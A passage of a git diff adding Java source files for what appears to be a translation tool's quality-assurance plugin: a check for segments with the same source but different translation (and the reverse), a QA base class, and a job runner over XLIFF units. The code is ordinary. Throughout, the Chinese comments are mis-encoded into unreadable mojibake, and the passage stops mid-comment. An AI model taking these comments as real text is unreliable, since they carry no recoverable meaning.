srcIgnoreTag ? entry.getValue().getSrcPureText() : entry.getValue().getSrcContent(); + ArrayList resultList = new ArrayList(); + boolean isSame = false; + for (int j = i + 1; j < mapList.size(); j++) { + Entry curEntry = mapList.get(j); + String curSrcText = srcIgnoreTag ? curEntry.getValue().getSrcPureText() : curEntry.getValue().getSrcContent(); + if (srcText.length() != curSrcText.length()) { + continue; + } + if (srcIgnoreCase ? srcText.equalsIgnoreCase(curSrcText) : srcText.equals(curSrcText)) { + if (!isSame) { + resultList.add(entry.getKey()); + } + isSame = true; + resultList.add(curEntry.getKey()); + mapList.remove(j); + j --; + } + } + if (resultList.size() > 0) { + // 对 resultList 以行å·è¿›è¡ŒæŽ’åº + Collections.sort(resultList, new Comparator() { + public int compare(String rowId1, String rowId2) { + return dataMap.get(rowId1).getLineNumber() - dataMap.get(rowId2).getLineNumber(); + } + }); + srcRowIdList.add(resultList); + } + } + } + + /** + * 将相åŒè¯‘文的所有文本段进行整åˆï¼Œæ”¾åˆ°ä¸€å—去方便进行处ç†ã€‚ + */ + private void analysisSameTgt(){ + if (!checkSameTarget) { + return; + } + + List> mapList = new ArrayList>(dataMap.entrySet()); + + //æŽ’åº + Collections.sort(mapList, new Comparator>() { + public int compare(Entry o1, Entry o2) { + String str1 = tgtIgnoreTag ? o1.getValue().getTgtPureText() : o1.getValue().getTgtContent(); + String str2 = tgtIgnoreTag ? o2.getValue().getTgtPureText() : o2.getValue().getTgtContent(); + return tgtIgnoreCase ? str1.compareToIgnoreCase(str2) : str1.compareTo(str2); + } + }); + + for (int i = 0; i < mapList.size(); i++) { + Entry entry = mapList.get(i); + String tgtText = tgtIgnoreTag ? entry.getValue().getTgtPureText() : entry.getValue().getTgtContent(); + ArrayList resultList = new ArrayList(); + boolean isSame = false; + for (int j = i + 1; j < mapList.size(); j++) { + Entry curEntry = mapList.get(j); + String curTgtText = tgtIgnoreTag ? curEntry.getValue().getTgtPureText() : curEntry.getValue().getTgtContent(); + if (tgtText.length() != curTgtText.length()) { + continue; + } + if (tgtIgnoreCase ? tgtText.equalsIgnoreCase(curTgtText) : tgtText.equals(curTgtText)) { + if (!isSame) { + resultList.add(entry.getKey()); + } + isSame = true; + resultList.add(curEntry.getKey()); + mapList.remove(j); + j --; + } + } + if (resultList.size() > 0) { + // 对 resultList 以行å·è¿›è¡ŒæŽ’åº + Collections.sort(resultList, new Comparator() { + public int compare(String rowId1, String rowId2) { + return dataMap.get(rowId1).getLineNumber() - dataMap.get(rowId2).getLineNumber(); + } + }); + + tgtRowIdList.add(resultList); + } + } + } + + + /** + * 与其他文本段进行比较,获å–相关值 + * @param rowId + */ + private void compareNext(String rowId, String iFileFullPath, String langPair){ + // 先比较相åŒæºæ–‡ä¸åŒè¯‘文的情况 + String sameSourceqaType = Messages.getString("qa.ParagraphConsistenceQA.name1"); + for (int i = 0; i < srcRowIdList.size(); i++) { + // 如果该文本段存在与其他文本段的相åŒæºæ–‡ä¸åŒè¯‘æ–‡ï¼Œé‚£ä¹ˆå°±è¿›è¡Œå¤„ç† + List curList = srcRowIdList.get(i); + if (curList.contains(rowId)) { + // 循环比较,找出æºæ–‡ç›¸åŒï¼Œè¯‘æ–‡ä¸åŒçš„文本段 + List sameSourceData = new LinkedList(); + for(String rowId_1 : curList){ + sameSourceData.clear(); + ParaConsisDataBean bean_1 = dataMap.get(rowId_1); + String tgtText_1 = srcIgnoreTag ? bean_1.getTgtPureText() : bean_1.getTgtContent(); + for (String rowId_2 : curList) { + if (rowId_2.equals(rowId_1)) { + continue; + } + ParaConsisDataBean bean_2 = dataMap.get(rowId_2); + String tgtText_2 = srcIgnoreTag ? bean_2.getTgtPureText() : bean_2.getTgtContent(); + if (!checkEquals(tgtText_2, tgtText_1, srcIgnoreCase)) { + sameSourceData.add(bean_2.getLineNumber()); + } + } + if (sameSourceData.size() > 0) { + int lineNum = bean_1.getLineNumber(); + String notSameTip = ""; + for (int k = 0; k < sameSourceData.size(); k++) { + int k_lineNum = sameSourceData.get(k); + notSameTip += MessageFormat.format(Messages.getString("qa.ParagraphConsistenceQA.tip1"), k_lineNum); + } + notSameTip = notSameTip.length() > 0 ? notSameTip.substring(0, notSameTip.length() - 1): notSameTip; + + String errorTip = Messages.getString("qa.ParagraphConsistenceQA.tip2"); + errorTip += Messages.getString("qa.ParagraphConsistenceQA.tip3"); + errorTip += notSameTip; + errorTip += Messages.getString("qa.ParagraphConsistenceQA.tip4"); + + super.printQAResult(new QAResultBean("" + lineNum, sameSourceqaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_PARAGRAPH)); + } + } + srcRowIdList.remove(curList); + i --; + } + } + + // å†æ¯”较相åŒè¯‘æ–‡ä¸åŒæºæ–‡çš„情况 + String sameTargetQaType = Messages.getString("qa.ParagraphConsistenceQA.name2"); + for (int i = 0; i < tgtRowIdList.size(); i++) { + // 如果该文本段存在与其他文本段的相åŒæºæ–‡ä¸åŒè¯‘æ–‡ï¼Œé‚£ä¹ˆå°±è¿›è¡Œå¤„ç† + List curList = tgtRowIdList.get(i); + if (curList.contains(rowId)) { + // 循环比较,找出æºæ–‡ç›¸åŒï¼Œè¯‘æ–‡ä¸åŒçš„文本段 + List sameTargetData = new LinkedList(); + for(String rowId_1 : curList){ + sameTargetData.clear(); + ParaConsisDataBean bean_1 = dataMap.get(rowId_1); + String srcText_1 = tgtIgnoreTag ? bean_1.getSrcPureText() : bean_1.getSrcContent(); + for (String rowId_2 : curList) { + if (rowId_2.equals(rowId_1)) { + continue; + } + ParaConsisDataBean bean_2 = dataMap.get(rowId_2); + String srcText_2 = tgtIgnoreTag ? bean_2.getSrcPureText() : bean_2.getSrcContent(); + if (!checkEquals(srcText_2, srcText_1, tgtIgnoreCase)) { + sameTargetData.add(bean_2.getLineNumber()); + } + } + if (sameTargetData.size() > 0) { + int lineNum = bean_1.getLineNumber(); + String notSameTip = ""; + for (int k = 0; k < sameTargetData.size(); k++) { + int k_lineNum = sameTargetData.get(k); + notSameTip += MessageFormat.format(Messages.getString("qa.ParagraphConsistenceQA.tip1"), k_lineNum); + } + notSameTip = notSameTip.length() > 0 ? notSameTip.substring(0, notSameTip.length() - 1): notSameTip; + + String errorTip = Messages.getString("qa.ParagraphConsistenceQA.tip2"); + errorTip += Messages.getString("qa.ParagraphConsistenceQA.tip3"); + errorTip += notSameTip; + errorTip += Messages.getString("qa.ParagraphConsistenceQA.tip5"); + + super.printQAResult(new QAResultBean("" + lineNum, sameTargetQaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_PARAGRAPH)); + } + } + tgtRowIdList.remove(curList); + i --; + } + } + } + + + /** + * 判断两个文本段是å¦ç›¸ç­‰ + * @param text1 + * @param text2 + * @return + */ + public boolean checkEquals(String text1, String text2, boolean ignoreCase){ + if (ignoreCase) { + return text1.equalsIgnoreCase(text2); + }else { + return text1.equals(text2); + } + } + + /** + * 进度æ¡å‰è¿›å¤„ç†æ–¹æ³•ï¼Œé’ˆå¯¹é历tu节点总数ä¸æ˜¯workIntervalçš„å€æ•°æƒ…况下,程åºè¿è¡Œè¦ç»“æŸæ—¶ï¼Œå°±å‰è¿›ä¸€æ ¼ã€‚ + * 如果是在程åºè¿è¡Œä¸­ï¼Œå°±åˆ¤æ–­æ˜¯tu节点é历åºåˆ—å·æ˜¯å¦æ˜¯workIntervalçš„å€æ•°ï¼Œè‹¥æ˜¯ï¼Œåˆ™å‰è¿›ä¸€æ ¼ + * @param monitor 进度æ¡å®žä¾‹ + * @param traversalTuIndex é历的åºåˆ—å· + * @param last 是å¦æ˜¯ç¨‹åºè¿è¡Œçš„结尾处 + */ +/* public void monitorWork(IProgressMonitor monitor, int traversalTuIndex, boolean last){ + if (last) { + if (traversalTuIndex % workInterval != 0) { + monitor.worked(1); + } + }else { + if (traversalTuIndex % workInterval == 0) { + monitor.worked(1); + } + } + + }*/ +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/QARealization.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/QARealization.java new file mode 100644 index 0000000..bd11f07 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/QARealization.java @@ -0,0 +1,102 @@ +package net.heartsome.cat.ts.ui.qa; + +import java.util.Map; + +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.model.QAResultBean; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.qa.views.QAResultViewPart; +import net.heartsome.cat.ts.ui.util.MultiFilesOper; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 所有å“质检查项实现类的父类 + * @author robert 2011-11-10 + */ +public abstract class QARealization { + private QAResult qaResult = null; + public final static Logger logger = LoggerFactory.getLogger(QARealization.class.getName()); + + + /** + * @param model + * 存放å“质检查所用到的相关属性 + * @param monitor + * 进度æ¡å®žä¾‹ + * @param iFile + * è¦å“质检查的文件 + * @param handler + * 对文件æ“作的类 + * @return + */ + public int start(QAModel model, IProgressMonitor monitor, IFile iFile, QAXmlHandler xmlHandler, QAResult qaResult) { + this.qaResult = qaResult; + return -1; + } + /** + * 给本类设置消æ¯ä¼ é€model + * @param qaResult ; + */ + public void setQaResult(QAResult qaResult) { + this.qaResult = qaResult; + } + /** + * 当åˆå§‹åŒ–å“质检查项实例时,设置消æ¯ä¼ é€model + * @param qaResult ; + */ + abstract void setParentQaResult(QAResult qaResult); + + + /** + * å°†å“质检查的结果输出到相关视图 + * @param lineNumber + * è¡Œå· + * @param qaType + * 检查类别 + * @param errorTip + * 错误信æ¯æ示 + * @param filePath + * æ–‡ä»¶èµ„æº + * @param langPair + * 语言对 + */ + public void printQAResult(final QAResultBean bean) { + // 设置当å‰çš„æ•°æ®æ˜¯å¦æ˜¯ 自动å“质检查 çš„æ•°æ® + bean.setAutoQA(qaResult.isAutoQA()); + qaResult.firePropertyChange(bean); + } + + /** + * 关闭数æ®åº“连接,目å‰åªé’ˆå¯¹æœ¯è¯­ä¸€è‡´æ€§åˆ†æž + * ; + */ + public void closeDB(){} + + /** + * å“质检查,针对于自动检查中,若返回结果的字符串长度大于1,则标识错误 + * @param model + * @param monitor + * @param iFile + * @param xmlHandler + * @param qaResult + * @param tuMap + * @return ; + */ + public String startQA(QAModel model, IProgressMonitor monitor, IFile iFile, QAXmlHandler xmlHandler, + Map tuMap) { + return ""; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/QualityAssurance.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/QualityAssurance.java new file mode 100644 index 0000000..469302e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/QualityAssurance.java @@ -0,0 +1,536 @@ +package net.heartsome.cat.ts.ui.qa; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.util.ProgressIndicatorManager; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.core.runtime.jobs.IJobChangeEvent; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.core.runtime.jobs.JobChangeAdapter; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * å“质检查类 处ç†æ‰€æœ‰çš„å“质检查 + * @author robert 2011-12-08 + */ +public class QualityAssurance { + private QAModel model; + private Shell shell; + /** ä¿å­˜æŸä¸ªæ£€æŸ¥é¡¹çš„实例 */ + private Map qaItemClassMap = new HashMap(); + private QAXmlHandler handler; + /** 解æžå‡ºé”™æ—¶æ˜¯å¦ç»§ç»­æ‰§è¡Œï¼Œ0为继续,1为出错时继续执行,2为出错时退出执行 */ + private int continuResponse; + /** 这是进度æ¡çš„å‰è¿›é—´éš”,也就是当循环多少个trans-unit节点åŽå‰è¿›ä¸€æ ¼ */ + private static int workInterval = 1; + /** 是å¦æœ‰æ–‡æœ¬æ®µå®Œæ•´æ€§æ£€æŸ¥ */ + private boolean isParaComplete = false; + /** 处ç†å“质检查结果的model */ + private QAResult qaResult; + private static String _INFO = Messages.getString("qa.all.dialog.info"); + private static String _ERROR = Messages.getString("qa.all.dialog.error"); + /** 连接符å·ï¼Œç”¨äºŽè¿žæŽ¥æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€çš„ç§ç±»ï¼Œä¾‹å¦‚“zh-CN -> en†,这个è¦ä¸Žnattableç•Œé¢ä¸Šçš„过滤æ¡ä»¶ä¿æŒä¸€è‡´*/ + private static final String Hyphen = " -> "; + public final static Logger logger = LoggerFactory.getLogger(QualityAssurance.class.getName()); + + public QualityAssurance(QAModel model) { + this.model = model; + this.shell = model.getShell(); + init(); + } + + /** + * åˆå§‹åŒ–相关实例 + */ + public void init() { + + } + + //------------------下é¢æ˜¯ä¼˜åŒ–å“è´¨æ£€æŸ¥çš„è¯•ç”¨ä»£ç  + public void beginQA(final QAResult qaResult) { + this.qaResult = qaResult; + handler = new QAXmlHandler(); + + Job job = new Job(Messages.getString("qa.all.qa")) { + @Override + protected IStatus run(IProgressMonitor monitor) { + long time1 = System.currentTimeMillis(); + // å“质检查项的总数 + int fileNum = model.getQaXlfList().size(); + // 定义的进度æ¡æ€»å…±äº”格,其中,解æžæ–‡ä»¶ä¸€æ ¼ï¼Œè¿›è¡Œæ£€æŸ¥å››æ ¼ + monitor.beginTask(Messages.getString("qa.QualityAssurance.tip1"), fileNum * 5); + + //å…ˆå°†æ‰€æœ‰çš„æ–‡ä»¶è¿›è¡Œè§£æž + if (!openFile(monitor)) { + monitor.done(); + return Status.CANCEL_STATUS; + } + + if (model.getQaXlfList().size() == 0) { + MessageDialog.openInformation(shell, _INFO, Messages.getString("qa.QualityAssurance.tip2")); + return Status.CANCEL_STATUS; + } + + //检查是å¦æœ‰æ–‡æœ¬æ®µä¸€è‡´æ€§æ£€æŸ¥ï¼Œå¦‚果有,则先进行判断文本段是å¦å®Œæ•´ã€‚ + if (model.getBatchQAItemIdList().indexOf(QAConstant.QA_PARACOMPLETENESS) >= 0) { + isParaComplete = true; + } + + initWorkInterval(); + + QARealization realization = null; + + //å…ˆé历æ¯ä¸ªæ–‡ä»¶ + for (int fileIndex = 0; fileIndex < model.getQaXlfList().size(); fileIndex++) { + final IFile iFile = model.getQaXlfList().get(fileIndex); + String xlfPath = iFile.getLocation().toOSString(); + String iFileFullPath = iFile.getFullPath().toOSString(); + + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 4, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + + int allTuSum = handler.getNodeCount(xlfPath, "/xliff/file/body//trans-unit"); + subMonitor.beginTask("", allTuSum % workInterval == 0 ? (allTuSum / workInterval) : (allTuSum / workInterval) + 1 ); + subMonitor.setTaskName(MessageFormat.format(Messages.getString("qa.QualityAssurance.tip3"), + new Object[] { Messages.getString("qa.all.qa"), iFileFullPath })); + + int fileNodeSum = handler.getNodeCount(xlfPath, "/xliff/file"); + int lineNumber = 0; //è¡Œå· + int traversalTuIndex = 0; //é历tu节点的åºåˆ—å· + + for (int fileNodeIdx = QAConstant.QA_FIRST; fileNodeIdx <= fileNodeSum; fileNodeIdx++) { + //获å–语言对 + String source_lan = handler.getNodeAttribute(xlfPath, "/xliff/file[" + fileNodeIdx + "]", "source-language"); + String target_lan = handler.getNodeAttribute(xlfPath, "/xliff/file[" + fileNodeIdx + "]", "target-language"); + String langPair = source_lan + Hyphen + target_lan; + + int curFileTUNodeSum = handler.getNodeCount(xlfPath, "/xliff/file[" + fileNodeIdx + "]/body//trans-unit"); + for (int tuIndex = QAConstant.QA_FIRST; tuIndex <= curFileTUNodeSum; tuIndex++) { + traversalTuIndex ++; + String tuXpath = "/xliff/file[" + fileNodeIdx + "]/body/descendant::trans-unit[" + tuIndex + "]"; + Map tuMap = handler.getFilteredTUText(xlfPath, tuXpath, model.getNotInclude()); + + //如果返回的map为null,则进行下一循环,行å·ä¹Ÿä¸åŠ è‡ªåŠ ï¼Œè¿™æ ·å¯ä»¥ä¿æŒè¿™é‡Œçš„è¡Œå·ä¸Žç•Œé¢ä¸Šçš„è¡Œå·ä¸€è‡´æ€§ï¼Œæ–¹ä¾¿å®šä½ + if (tuMap == null) { + if (!monitorWork(subMonitor, traversalTuIndex, false)) { + closeDB(); + return Status.CANCEL_STATUS; + } + continue; + } + + lineNumber ++; + + if (tuMap.size() == 0) { + if (!monitorWork(subMonitor, traversalTuIndex, false)) { + closeDB(); + return Status.CANCEL_STATUS; + } + continue; + }else if ("".equals(tuMap.get("tarContent")) || tuMap.get("tarContent") == null ) { //正常情况下应有四个值 + //因为文本段完整性检查è¦åˆ¤æ–­è¯‘文是å¦ä¸ºç©ºçš„情况,所以,如果译文为空,åªæœ‰æ–‡æœ¬æ®µå®Œæ•´æ€§è¦è¿›è¡Œæ£€æŸ¥ï¼Œå…¶ä»–检查项都跳过。 + if (isParaComplete) { + tuMap.put("lineNumber", "" + lineNumber); + tuMap.put("iFileFullPath", iFileFullPath); + tuMap.put("langPair", langPair); + getClassInstance(QAConstant.QA_PARACOMPLETENESS).startQA(model, subMonitor, iFile, handler, tuMap); + } + if (!monitorWork(subMonitor, traversalTuIndex, false)) { + closeDB(); + return Status.CANCEL_STATUS; + } + qaResult.sendDataToViewer(tuMap.get("rowId")); + continue; + } + + tuMap.put("lineNumber", "" + lineNumber); + tuMap.put("iFileFullPath", iFileFullPath); + tuMap.put("langPair", langPair); + tuMap.put("xlfPath", xlfPath); + tuMap.put("source_lan", source_lan); + tuMap.put("target_lan", target_lan); + + tuMap.put("fileNodeIndex", "" + fileNodeIdx); + tuMap.put("tuNodeIndex", "" + tuIndex); + + for (int i = 0; i < model.getBatchQAItemIdList().size(); i++) { + final String qaItemId = model.getBatchQAItemIdList().get(i); + realization = getClassInstance(qaItemId); + // 若没有该项检查的实例,æ示出错 + if (realization == null) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, _ERROR, + MessageFormat.format(Messages.getString("qa.QualityAssurance.tip4"), new Object[] { model.getQaItemId_Name_Class() + .get(qaItemId).get(QAConstant.QA_ITEM_NAME) })); + } + }); + closeDB(); + return Status.CANCEL_STATUS; + } + // 开始进行该项文件的该项检查 + final String result = realization.startQA(model, subMonitor, iFile, handler, tuMap); + // 当未设置术语库ã€æ‹¼å†™æ£€æŸ¥è¯å…¸é…ç½® 错误时æ‰ä¼šè¿”回 null,所以这时å¯ä»¥ç›´æŽ¥åˆ ã€‚ + if (result == null) { + model.getBatchQAItemIdList().remove(qaItemId); + i --; + } + if (monitor.isCanceled()) { + return Status.CANCEL_STATUS; + } + } + qaResult.sendDataToViewer(tuMap.get("rowId")); + if (!monitorWork(subMonitor, traversalTuIndex, false)) { + closeDB(); + return Status.CANCEL_STATUS; + } + } + if (!monitorWork(subMonitor, traversalTuIndex, true)) { + closeDB(); + return Status.CANCEL_STATUS; + } + } + subMonitor.done(); + } + closeDB(); + monitor.done(); + System.out.println("所用时间为" + (System.currentTimeMillis() - time1)); + return Status.OK_STATUS; + } + }; + + job.addJobChangeListener(new JobChangeAdapter(){ + @Override + public void running(IJobChangeEvent event) { + ProgressIndicatorManager.displayProgressIndicator(); + super.running(event); + } + @Override + public void done(IJobChangeEvent event) { + ProgressIndicatorManager.hideProgressIndicator(); + super.done(event); + } + }); + + job.setUser(true); + job.schedule(); + } + + /** + * 开始处ç†å¤šä¸ªåˆå¹¶æ‰“开文件的å“质检查,由于åˆå¹¶æ‰“开文件的处ç†ï¼Œæ˜¯ä¸ªå¾ˆç‰¹æ®Šçš„例å­ï¼Œå› ä¸ºå¤„ç†å¯¹åƒä¸å†æ˜¯å•ä¸ªæ–‡ä»¶ï¼Œè€Œæ˜¯é’ˆå¯¹è¯­è¨€å¯¹ã€‚ + * @param qaResult ; + */ + public void beginMultiFileQA(final QAResult qaResult) { + this.qaResult = qaResult; + handler = new QAXmlHandler(); + Job job = new Job(Messages.getString("qa.all.qa")) { + @Override + protected IStatus run(IProgressMonitor monitor) { + long time1 = System.currentTimeMillis(); + int fileNum = model.getQaXlfList().size(); + // 定义的进度æ¡æ€»å…±äº”格,其中,解æžæ–‡ä»¶1格,进行检查9æ ¼ + monitor.beginTask(Messages.getString("qa.QualityAssurance.tip1"), fileNum * 10); + + //å…ˆå°†æ‰€æœ‰çš„æ–‡ä»¶è¿›è¡Œè§£æž + if (!openFile(monitor)) { + monitor.done(); + return Status.CANCEL_STATUS; + } + + if (model.getQaXlfList().size() == 0) { + MessageDialog.openInformation(shell, _INFO, Messages.getString("qa.QualityAssurance.tip2")); + return Status.CANCEL_STATUS; + } + + //检查是å¦æœ‰æ ‡è®°ä¸€è‡´æ€§æ£€æŸ¥ï¼Œè‹¥æœ‰ï¼Œåˆ™èŽ·å–标记 + if (model.getBatchQAItemIdList().indexOf(QAConstant.QA_PARACOMPLETENESS) >= 0) { + isParaComplete = true; + } + + initWorkInterval(); + int allTUSize = handler.getAllTUSize(); + int traversalTuIndex = 0; //é历tu节点的åºåˆ—å· + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, fileNum * 9, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + subMonitor.beginTask("", allTUSize % workInterval == 0 ? (allTUSize / workInterval) : (allTUSize / workInterval) + 1); + QARealization realization = null; + Map> languageList = handler.getLanguages(); + int lineNumber = 0; + IFile iFile; + for(Entry> langEntry : languageList.entrySet()){ + String srcLang = langEntry.getKey(); + for(String tgtLang : langEntry.getValue()){ + List rowIdsList = handler.getAllRowIdsByLanguages(srcLang.toUpperCase(), tgtLang.toUpperCase()); + model.setRowIdsList(rowIdsList); + //开始针对æ¯ä¸€ä¸ªæ–‡æœ¬æ®µè¿›è¡Œæ£€æŸ¥ + for(String rowId : rowIdsList){ + traversalTuIndex ++; + lineNumber = rowIdsList.indexOf(rowId) + 1; //è¡Œå· + String filePath = RowIdUtil.getFileNameByRowId(rowId); + iFile = ResourceUtils.fileToIFile(filePath); + String langPair = srcLang + Hyphen + tgtLang; + Map tuMap = handler.getFilteredTUText(filePath, + RowIdUtil.parseRowIdToXPath(rowId), model.getNotInclude()); + if (tuMap == null) { + if (!monitorWork(subMonitor, traversalTuIndex, false)) { + closeDB(); + return Status.CANCEL_STATUS; + } + continue; + } + + if (tuMap.size() == 0) { + if (!monitorWork(subMonitor, traversalTuIndex, false)) { + closeDB(); + return Status.CANCEL_STATUS; + } + continue; + }else if ("".equals(tuMap.get("tarContent")) || tuMap.get("tarContent") == null ) { //正常情况下应有四个值 + //因为文本段完整性检查è¦åˆ¤æ–­è¯‘文是å¦ä¸ºç©ºçš„情况,所以,如果译文为空,åªæœ‰æ–‡æœ¬æ®µå®Œæ•´æ€§è¦è¿›è¡Œæ£€æŸ¥ï¼Œå…¶ä»–检查项都跳过。 + if (isParaComplete) { + tuMap.put("lineNumber", "" + lineNumber); + tuMap.put("iFileFullPath", iFile.getFullPath().toOSString()); + tuMap.put("langPair", langPair); + getClassInstance(QAConstant.QA_PARACOMPLETENESS).startQA(model, subMonitor, iFile, handler, tuMap); + } + if (!monitorWork(subMonitor, traversalTuIndex, false)) { + closeDB(); + return Status.CANCEL_STATUS; + } + qaResult.sendDataToViewer(tuMap.get("rowId")); + continue; + } + + tuMap.put("lineNumber", "" + lineNumber); + tuMap.put("iFileFullPath", iFile.getFullPath().toOSString()); + tuMap.put("langPair", langPair); + tuMap.put("source_lan", srcLang); + tuMap.put("target_lan", tgtLang); + + for (int i = 0; i < model.getBatchQAItemIdList().size(); i++) { + final String qaItemId = model.getBatchQAItemIdList().get(i); + realization = getClassInstance(qaItemId); + // 若没有该项检查的实例,æ示出错 + if (realization == null) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + MessageDialog.openError(shell, _ERROR, + MessageFormat.format(Messages.getString("qa.QualityAssurance.tip4"), new Object[] { model.getQaItemId_Name_Class() + .get(qaItemId).get(QAConstant.QA_ITEM_NAME) })); + } + }); + closeDB(); + qaResult.sendDataToViewer(tuMap.get("rowId")); + return Status.CANCEL_STATUS; + } + // 开始进行该项文件的该项检查 + final String result = realization.startQA(model, subMonitor, iFile, handler, tuMap); + // // 当未设置术语库ã€æ‹¼å†™æ£€æŸ¥è¯å…¸é…ç½® 错误时æ‰ä¼šè¿”回 null,所以这时å¯ä»¥ç›´æŽ¥åˆ ã€‚ + if (result == null) { + model.getBatchQAItemIdList().remove(qaItemId); + i --; + } + if (monitor.isCanceled()) { + return Status.CANCEL_STATUS; + } + } + qaResult.sendDataToViewer(tuMap.get("rowId")); + + if (!monitorWork(subMonitor, traversalTuIndex, false)) { + closeDB(); + return Status.CANCEL_STATUS; + } + } + } + if (!monitorWork(subMonitor, traversalTuIndex, true)) { + closeDB(); + return Status.CANCEL_STATUS; + } + + } + closeDB(); + subMonitor.done(); + monitor.done(); + System.out.println("所用时间为" + (System.currentTimeMillis() - time1)); + return Status.OK_STATUS; + } + }; + job.addJobChangeListener(new JobChangeAdapter(){ + @Override + public void running(IJobChangeEvent event) { + ProgressIndicatorManager.displayProgressIndicator(); + super.running(event); + } + @Override + public void done(IJobChangeEvent event) { + ProgressIndicatorManager.hideProgressIndicator(); + super.done(event); + } + }); + + job.setUser(true); + job.schedule(); + } + + /** + * 获å–æŸä¸ªæ£€æŸ¥é¡¹å®žçŽ°ç±»çš„实例 + * @param qaItemId + * @return + */ + public QARealization getClassInstance(String qaItemId) { + if (qaItemClassMap.get(qaItemId) != null) { + return (QARealization) qaItemClassMap.get(qaItemId); + } + + try { + HashMap valueMap = model.getQaItemId_Name_Class().get(qaItemId); + Object obj = null; + try { + obj = Class.forName(valueMap.get(QAConstant.QA_ITEM_CLASSNAME)).newInstance(); + } catch (Exception e) { + e.printStackTrace(); + logger.error( + MessageFormat.format(Messages.getString("qa.QualityAssurance.log1"), + valueMap.get(QAConstant.QA_ITEM_NAME)), e); + } + if (QARealization.class.isInstance(obj)) { + qaItemClassMap.put(qaItemId, (QARealization) obj); + ((QARealization) obj).setParentQaResult(qaResult); + + return (QARealization) obj; + } + } catch (Exception e) { + logger.error(Messages.getString("qa.all.qaError"), e); + } + + return null; + } + + /** + * 解æžè¯¥æ–‡ä»¶ï¼Œè‹¥è¿”回false,则标志退出程åºçš„执行 + */ + public boolean openFile(IProgressMonitor monitor) { + + for (int fileIndex = 0; fileIndex < model.getQaXlfList().size(); fileIndex++) { + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 1, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + final IFile iFile = model.getQaXlfList().get(fileIndex); + subMonitor.setTaskName(MessageFormat.format(Messages.getString("qa.QualityAssurance.tip5"), new Object[] { + Messages.getString("qa.all.qa"), iFile.getFullPath().toString() })); + continuResponse = QAConstant.QA_ZERO; + + try { + Map newResultMap = handler.openFile(iFile.getLocation().toOSString(), subMonitor); + // é’ˆå¯¹é€€å‡ºè§£æž + if (newResultMap != null + && QAConstant.RETURNVALUE_RESULT_RETURN.equals(newResultMap.get(QAConstant.RETURNVALUE_RESULT))) { + return false; + } + + if (newResultMap == null + || QAConstant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) newResultMap + .get(QAConstant.RETURNVALUE_RESULT)) { + // 针对文件解æžå‡ºé”™ + Display.getDefault().syncExec(new Runnable() { + public void run() { + boolean response = MessageDialog.openConfirm(shell, _ERROR, MessageFormat.format( + Messages.getString("qa.QualityAssurance.tip6"), new Object[] { iFile.getFullPath().toOSString() })); + if (response) { + continuResponse = QAConstant.QA_FIRST; + } else { + continuResponse = QAConstant.QA_TWO; + } + } + }); + } + + if (continuResponse == QAConstant.QA_FIRST) { + model.getQaXlfList().remove(fileIndex); + fileIndex--; + continue; + } else if (continuResponse == QAConstant.QA_TWO) { + return false; + } + + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.all.log.openXmlError"), e); + } + } + return true; + } + + /** + * 进度æ¡å‰è¿›å¤„ç†ç±»ï¼Œè‹¥è¿”回false,则标志退出程åºçš„执行 + * @param monitor + * @param traversalTuIndex + * @param last + * @return ; + */ + public boolean monitorWork(IProgressMonitor monitor, int traversalTuIndex, boolean last){ + if (last) { + if (traversalTuIndex % workInterval != 0) { + if (monitor.isCanceled()) { + return false; + } + monitor.worked(1); + } + }else { + if (traversalTuIndex % workInterval == 0) { + if (monitor.isCanceled()) { + return false; + } + monitor.worked(1); + } + } + return true; + + } + + /** + * 